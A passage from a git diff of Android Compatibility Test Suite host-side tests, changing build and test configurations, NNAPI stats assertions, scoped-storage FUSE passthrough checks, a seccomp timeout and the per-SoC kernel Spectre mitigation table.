+ <option name="version" value="9.0_r1"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="media-download-only" value="true" />
</target_preparer>
@@ -32,11 +37,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaBitstreamsDeviceSideTestApp.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaBitstreamsTestCases" />
- <option name="version" value="9.0_r1"/>
- </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.ReportLogCollector">
<option name="src-dir" value="/sdcard/report-log-files/"/>
<option name="dest-dir" value="report-log-files/"/>
diff --git a/hostsidetests/multidevices/wifi_aware/Android.bp b/hostsidetests/multidevices/wifi_aware/Android.bp
index 2226f8d..345e84c 100644
--- a/hostsidetests/multidevices/wifi_aware/Android.bp
+++ b/hostsidetests/multidevices/wifi_aware/Android.bp
@@ -20,6 +20,9 @@
name: "CtsWifiAwareTestCases",
main: "wifi_aware_test.py",
srcs: ["wifi_aware_test.py"],
+ libs: [
+ "mobly",
+ ],
test_suites: [
"cts",
"general-tests",
@@ -31,4 +34,13 @@
// Package the snippet with the mobly test
":wifi_aware_snippet",
],
+ version: {
+ py2: {
+ enabled: false,
+ },
+ py3: {
+ enabled: true,
+ embedded_launcher: true,
+ },
+ },
}
diff --git a/hostsidetests/multidevices/wifi_aware/AndroidTest.xml b/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
index a1e242c..95847d1 100644
--- a/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
+++ b/hostsidetests/multidevices/wifi_aware/AndroidTest.xml
@@ -28,11 +28,6 @@
<option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
<option name="run-command" value="wm dismiss-keyguard" />
</target_preparer>
- <!-- TODO(b/225958696): Import mobly dependencies -->
- <target_preparer class="com.android.tradefed.targetprep.PythonVirtualenvPreparer">
- <!-- Any python dependencies can be specified and will be installed with pip -->
- <option name="dep-module" value="mobly" />
- </target_preparer>
</device>
<device name="device2">
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
index e372fb9..7dc4015 100644
--- a/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
+++ b/hostsidetests/neuralnetworks/app/src/com/android/nn/stats/app/NnapiDeviceActivity.java
@@ -21,7 +21,7 @@
import android.util.Log;
/**
- * A simple activity which triggers libneuralnetworks.so to push WestWorld atoms.
+ * A simple activity which triggers libneuralnetworks.so to push statsd atoms.
*/
public class NnapiDeviceActivity extends Activity {
private static final String TAG = NnapiDeviceActivity.class.getSimpleName();
@@ -33,7 +33,7 @@
@Override
public void onCreate(Bundle icicle) {
super.onCreate(icicle);
- Log.i(TAG, "Triggering libneuralnetworks.so to push WestWorld atoms.");
+ Log.i(TAG, "Triggering libneuralnetworks.so to push statsd atoms.");
trigger_libneuralnetworks_atoms();
}
diff --git a/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java b/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
index a3bdb9c..9930253 100644
--- a/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
+++ b/hostsidetests/neuralnetworks/src/com/android/nn/host/cts/NeuralNetworksStatsTests.java
@@ -115,6 +115,7 @@
assertThat(atom.getCompilationTimeSumSquaredMillis()).isAtLeast(0);
assertThat(atom.getCompilationTimeCount()).isGreaterThan(0);
assertThat(atom.getCount()).isGreaterThan(0);
+ // atom.getModelArchHash64() can have any value
for (EventMetricData event : data) {
NeuralNetworksCompilationCompleted current = event.getAtom()
@@ -158,6 +159,7 @@
assertFalse(atom.getHasControlFlow());
assertFalse(atom.getHasDynamicTemporaries());
assertThat(atom.getCount()).isGreaterThan(0);
+ // atom.getModelArchHash64() can have any value
for (EventMetricData event : data) {
NeuralNetworksCompilationFailed current = event.getAtom()
@@ -216,6 +218,7 @@
assertThat(atom.getDurationRuntimeSumSquaredMicros()).isAtLeast(0);
assertThat(atom.getDurationRuntimeCount()).isGreaterThan(0);
assertThat(atom.getCount()).isGreaterThan(0);
+ // atom.getModelArchHash64() can have any value
for (EventMetricData event : data) {
NeuralNetworksExecutionCompleted current = event.getAtom()
@@ -260,6 +263,7 @@
assertFalse(atom.getHasControlFlow());
assertFalse(atom.getHasDynamicTemporaries());
assertThat(atom.getCount()).isGreaterThan(0);
+ // atom.getModelArchHash64() can have any value
for (EventMetricData event : data) {
NeuralNetworksExecutionFailed current = event.getAtom()
diff --git a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
index 94d712f..80caeb5 100644
--- a/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/apps/declaring/Android.bp
@@ -36,6 +36,7 @@
"cts_defaults",
"CtsDomainVerificationTestDeclaringAppDefaults",
],
+ min_sdk_version: "31",
sdk_version: "test_current",
aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp1"],
}
@@ -47,6 +48,7 @@
"cts_defaults",
"CtsDomainVerificationTestDeclaringAppDefaults",
],
+ min_sdk_version: "31",
sdk_version: "test_current",
aaptflags: ["--rename-manifest-package com.android.cts.packagemanager.verify.domain.declaringapp2"],
}
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
index 8990d84..9f95449 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/Android.bp
@@ -21,10 +21,11 @@
srcs: [ "src/**/*.kt" ],
test_suites: [
"cts",
+ "gts",
"device-tests",
],
defaults: ["cts_defaults"],
- sdk_version: "test_current",
+ min_sdk_version: "4",
static_libs: [
"androidx.test.ext.junit",
"androidx.test.rules",
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
index fba5376..ce89e2b 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidManifest.xml
@@ -15,8 +15,13 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.packagemanager.verify.domain.device.standalone"
- >
+ xmlns:tools="http://schemas.android.com/tools"
+ package="com.android.cts.packagemanager.verify.domain.device.standalone"
+ >
+
+ <uses-sdk android:minSdkVersion="14" android:targetSdkVersion="17"
+ tools:overrideLibrary="com.android.cts.packagemanager.verify.domain.constants.android"
+ />
<application android:label="Device Test App" android:testOnly="true">
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
index 95b86f5..e7afa10 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS domain verification device standalone test cases">
<option name="test-suite-tag" value="cts" />
+ <option name="test-suite-tag" value="gts" />
<option name="config-descriptor:metadata" key="component" value="framework" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
@@ -23,6 +24,7 @@
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
+ <option name="check-min-sdk" value="true" />
<option name="test-file-name" value="CtsDomainVerificationDeviceStandaloneTestCases.apk" />
<option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp1.apk" />
<option name="test-file-name" value="CtsDomainVerificationTestDeclaringApp2.apk" />
diff --git a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
index 1861010..9401443a 100644
--- a/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
+++ b/hostsidetests/packagemanager/domainverification/device/standalone/src/com/android/cts/packagemanager/verify/domain/device/standalone/DomainVerificationIntentStandaloneTests.kt
@@ -17,6 +17,9 @@
package com.android.cts.packagemanager.verify.domain.device.standalone
import android.content.pm.verify.domain.DomainVerificationUserState
+import android.os.Build
+import com.android.compatibility.common.util.ApiLevelUtil
+import com.android.compatibility.common.util.CtsDownstreamingTest
import com.android.compatibility.common.util.SystemUtil
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_1_COMPONENT
import com.android.cts.packagemanager.verify.domain.android.DomainUtils.DECLARING_PKG_2_COMPONENT
@@ -26,6 +29,8 @@
import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_1
import com.android.cts.packagemanager.verify.domain.java.DomainUtils.DOMAIN_2
import com.google.common.truth.Truth.assertThat
+import org.junit.Assume.assumeTrue
+import org.junit.BeforeClass
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.runners.Parameterized
@@ -33,6 +38,14 @@
@RunWith(Parameterized::class)
class DomainVerificationIntentStandaloneTests : DomainVerificationIntentTestBase(DOMAIN_1) {
+ companion object {
+ @JvmStatic
+ @BeforeClass
+ fun assumeAtLeastS() {
+ assumeTrue(ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S))
+ }
+ }
+
@Test
fun launchVerified() {
setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -74,6 +87,7 @@
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun launchSelectedPreservedOnUpdate() {
setAppLinks(DECLARING_PKG_NAME_1, false, DOMAIN_1, DOMAIN_2)
@@ -162,6 +176,7 @@
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun disableHandlingWhenVerifiedPreservedOnUpdate() {
setAppLinks(DECLARING_PKG_NAME_1, true, DOMAIN_1, DOMAIN_2)
@@ -192,6 +207,7 @@
assertResolvesTo(browsers)
}
+ @CtsDownstreamingTest
@Test
fun disableHandlingWhenSelectedPreservedOnUpdate() {
setAppLinksUserSelection(DECLARING_PKG_NAME_1, userId, true, DOMAIN_1, DOMAIN_2)
diff --git a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
index 5e92d18..874d299 100644
--- a/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
+++ b/hostsidetests/packagemanager/domainverification/lib/constants/android/Android.bp
@@ -20,6 +20,7 @@
name: "CtsDomainVerificationAndroidConstantsLibrary",
defaults: ["cts_defaults"],
srcs: ["src/**/*.kt"],
+ min_sdk_version: "31",
static_libs: [
"androidx.test.ext.junit",
"androidx.test.rules",
diff --git a/hostsidetests/packagemanager/dynamicmime/OWNERS b/hostsidetests/packagemanager/dynamicmime/OWNERS
index 7dd198a..f236893 100644
--- a/hostsidetests/packagemanager/dynamicmime/OWNERS
+++ b/hostsidetests/packagemanager/dynamicmime/OWNERS
@@ -1,3 +1,3 @@
# Bug component: 36137
-tantoshchuk@google.com
+preranap@google.com
mhasank@google.com
diff --git a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
index a26de84..d6fb65e 100644
--- a/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
+++ b/hostsidetests/packagemanager/dynamicmime/src/android/dynamicmime/cts/RebootTestCases.java
@@ -40,6 +40,8 @@
private static final String PACKAGE_TEST_APP = "android.dynamicmime.testapp";
private static final String PACKAGE_REBOOT_TESTS = PACKAGE_TEST_APP + ".reboot";
+ private static final int SETTINGS_WRITE_TIMEOUT_MS = 10_000;
+
@Test
public void testGroupWithExactType() throws DeviceNotAvailableException {
runTestWithReboot("SingleAppTest", "testGroupWithExactType");
@@ -213,6 +215,7 @@
private void runTestWithReboot(String testClassName, String testMethodName)
throws DeviceNotAvailableException {
runPreReboot(testClassName, testMethodName);
+ waitForSettingsWrite();
getDevice().reboot();
runPostReboot(testClassName, testMethodName);
}
@@ -223,6 +226,13 @@
testMethodName);
}
+ private void waitForSettingsWrite() {
+ try {
+ Thread.sleep(SETTINGS_WRITE_TIMEOUT_MS);
+ } catch (InterruptedException ignored) {
+ }
+ }
+
private void runPreReboot(String testClassName, String testMethodName)
throws DeviceNotAvailableException {
runDeviceTests(PACKAGE_TEST_APP, PACKAGE_REBOOT_TESTS + ".PreReboot" + testClassName,
diff --git a/hostsidetests/packagemanager/dynamicmime/test/Android.bp b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
index fb63a62..19bf606 100644
--- a/hostsidetests/packagemanager/dynamicmime/test/Android.bp
+++ b/hostsidetests/packagemanager/dynamicmime/test/Android.bp
@@ -33,5 +33,4 @@
"general-tests",
],
sdk_version: "test_current",
- platform_apis: true,
}
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index 61526d2..8499999 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -25,7 +25,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppB",
@@ -36,7 +36,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppC",
@@ -47,7 +47,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppC30",
@@ -58,7 +58,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppCLegacy",
@@ -69,7 +69,7 @@
min_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppDLegacy",
@@ -80,7 +80,7 @@
min_sdk_version: "28",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
@@ -92,7 +92,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppFileManagerBypassDB",
@@ -103,7 +103,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppSystemGalleryBypassDB",
@@ -114,7 +114,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
name: "CtsScopedStorageTestAppSystemGallery30BypassDB",
@@ -125,7 +125,7 @@
min_sdk_version: "30",
srcs: ["ScopedStorageTestHelper/src/**/*.java"],
// Tag as a CTS artifact
- test_suites: ["device-tests", "mts", "cts"],
+ test_suites: ["general-tests", "mts", "cts"],
}
android_test_helper_app {
@@ -146,7 +146,7 @@
min_sdk_version: "30",
}
-android_test {
+android_test_helper_app {
name: "ScopedStorageTest",
manifest: "AndroidManifest.xml",
srcs: ["src/**/*.java"],
@@ -164,7 +164,7 @@
]
}
-android_test {
+android_test_helper_app {
name: "LegacyStorageTest",
manifest: "legacy/AndroidManifest.xml",
srcs: ["legacy/src/**/*.java"],
@@ -246,7 +246,7 @@
srcs: ["device/**/*.java"],
static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",],
compile_multilib: "both",
- test_suites: ["device-tests", "mts-mediaprovider", "cts"],
+ test_suites: ["general-tests", "mts-mediaprovider", "cts"],
sdk_version: "test_current",
target_sdk_version: "31",
min_sdk_version: "30",
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index ad480e2..5897386 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -19,7 +19,6 @@
import static android.app.AppOpsManager.permissionToOp;
import static android.os.ParcelFileDescriptor.MODE_CREATE;
import static android.os.ParcelFileDescriptor.MODE_READ_WRITE;
-import static android.os.SystemProperties.getBoolean;
import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
@@ -103,6 +102,7 @@
import static android.system.OsConstants.W_OK;
import static androidx.test.InstrumentationRegistry.getContext;
+import static androidx.test.InstrumentationRegistry.getTargetContext;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -910,7 +910,7 @@
try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
assertRWR(readPfd, writePfd);
- assertLowerFsFdWithPassthrough(writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
}
} finally {
file.delete();
@@ -946,7 +946,7 @@
try (ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw");
ParcelFileDescriptor writePfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
assertRWR(readPfd, writePfd);
- assertLowerFsFdWithPassthrough(readPfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
}
} finally {
file.delete();
@@ -966,8 +966,8 @@
ParcelFileDescriptor readPfd = openWithMediaProvider(file, "rw")) {
assertRWR(readPfd, writePfd);
assertRWR(writePfd, readPfd); // Can read on 'w' only pfd
- assertLowerFsFdWithPassthrough(writePfd);
- assertLowerFsFdWithPassthrough(readPfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), readPfd);
}
} finally {
file.delete();
@@ -991,7 +991,7 @@
writePfd.close();
assertRWR(readPfd, writePfdDup);
- assertLowerFsFdWithPassthrough(writePfdDup);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfdDup);
}
} finally {
file.delete();
@@ -3177,8 +3177,13 @@
assertStartsWith(path, prefix);
}
- private void assertLowerFsFdWithPassthrough(ParcelFileDescriptor pfd) throws Exception {
- if (getBoolean("persist.sys.fuse.passthrough.enable", false)) {
+ private void assertLowerFsFdWithPassthrough(final String path, ParcelFileDescriptor pfd)
+ throws Exception {
+ final ContentResolver resolver = getTargetContext().getContentResolver();
+ final Bundle res = resolver.call(MediaStore.AUTHORITY, "uses_fuse_passthrough", path, null);
+ boolean passthroughEnabled = res.getBoolean("uses_fuse_passthrough_result");
+
+ if (passthroughEnabled) {
assertUpperFsFd(pfd);
} else {
assertLowerFsFd(pfd);
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 9f56aa09..354f260 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -70,7 +70,7 @@
// The service start can take a long time, because seccomp denials will
// cause process crashes and dumps, which we waitpid() for sequentially.
- private static final int SERVICE_START_TIMEOUT_MS = 120000;
+ private static final int SERVICE_START_TIMEOUT_MS = 180000;
private JSONObject mAllowedSyscallMap;
private JSONObject mBlockedSyscallMap;
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index ff6a399..814363d 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -187,7 +187,8 @@
if (mitigationInfoMeltdown != null && mitigationInfoSpectreV2 != null &&
!mitigationInfoMeltdown.contains("Vulnerable") &&
- !mitigationInfoSpectreV2.contains("Vulnerable"))
+ (!mitigationInfoSpectreV2.contains("Vulnerable") ||
+ mitigationInfoSpectreV2.equals("Vulnerable: Unprivileged eBPF enabled\n")))
return "VULN_SAFE";
for (String nodeInfo : pathList) {
@@ -206,7 +207,7 @@
break;
}
/* Samsung Exynos SoCs */
- else if (line.startsWith("EXYNOS")) {
+ else if (line.startsWith("EXYNOS") || line.startsWith("S5E")) {
hardware = line;
break;
}
@@ -233,56 +234,58 @@
put("EXYNOS7870", null);
put("EXYNOS7880", null);
put("EXYNOS7570", null);
- put("EXYNOS7872", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("EXYNOS7885", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("EXYNOS9610", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("Kirin980", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("Kirin970", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("EXYNOS7872", null);
+ put("EXYNOS7885", null);
+ put("EXYNOS9610", null);
+ put("S5E8825", null);
+ put("S5E9925", null);
+ put("Kirin980", null);
+ put("Kirin970", null);
put("Kirin810", null);
- put("Kirin710", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6889Z/CZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6889Z/CIZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("mt6873", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6853V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6853V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6833V/ZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6833V/NZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6833V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6833V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6833V/MZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6833V/MNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6877V/ZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6877V/NZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6877V/TZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6877V/TNZA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6768V/WA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6768V/CA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6768V/WB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6768V/CB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6767V/WA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6767V/CA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6767V/WB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6767V/CB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/WA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/CA", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/WB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/CB", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/WT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/CT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/WU", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/CU", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/WZ", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/CZ", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/WY", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("MT6769V/CY", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("SDMMAGPIE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("SM6150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("SM7150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("Kirin710", null);
+ put("MT6889Z/CZA", null);
+ put("MT6889Z/CIZA", null);
+ put("mt6873", null);
+ put("MT6853V/TZA", null);
+ put("MT6853V/TNZA", null);
+ put("MT6833V/ZA", null);
+ put("MT6833V/NZA", null);
+ put("MT6833V/TZA", null);
+ put("MT6833V/TNZA", null);
+ put("MT6833V/MZA", null);
+ put("MT6833V/MNZA", null);
+ put("MT6877V/ZA", null);
+ put("MT6877V/NZA", null);
+ put("MT6877V/TZA", null);
+ put("MT6877V/TNZA", null);
+ put("MT6768V/WA", null);
+ put("MT6768V/CA", null);
+ put("MT6768V/WB", null);
+ put("MT6768V/CB", null);
+ put("MT6767V/WA", null);
+ put("MT6767V/CA", null);
+ put("MT6767V/WB", null);
+ put("MT6767V/CB", null);
+ put("MT6769V/WA", null);
+ put("MT6769V/CA", null);
+ put("MT6769V/WB", null);
+ put("MT6769V/CB", null);
+ put("MT6769V/WT", null);
+ put("MT6769V/CT", null);
+ put("MT6769V/WU", null);
+ put("MT6769V/CU", null);
+ put("MT6769V/WZ", null);
+ put("MT6769V/CZ", null);
+ put("MT6769V/WY", null);
+ put("MT6769V/CY", null);
+ put("SDMMAGPIE", null);
+ put("SM6150", null);
+ put("SM7150", null);
put("SM7250", null);
put("LITO", null);
put("LAGOON", null);
- put("SM8150", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("SM8150P", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
+ put("SM8150", null);
+ put("SM8150P", null);
put("SM8250", null);
put("KONA", null);
put("SDM429", null);
@@ -290,13 +293,12 @@
put("QM215", null);
put("ATOLL", null);
put("ATOLL-AB", null);
- put("SDM660", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("BENGAL", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("KHAJE", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("BENGAL-IOT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("BENGALP-IOT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y"});
- put("DEFAULT", new String[]{"CONFIG_HARDEN_BRANCH_PREDICTOR=y",
- "CONFIG_UNMAP_KERNEL_AT_EL0=y"});
+ put("SDM660", null);
+ put("BENGAL", null);
+ put("KHAJE", null);
+ put("BENGAL-IOT", null);
+ put("BENGALP-IOT", null);
+ put("DEFAULT", new String[]{"CONFIG_UNMAP_KERNEL_AT_EL0=y"});
}};
private String[] lookupMitigations() throws Exception {
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 039867b..573035c 100644
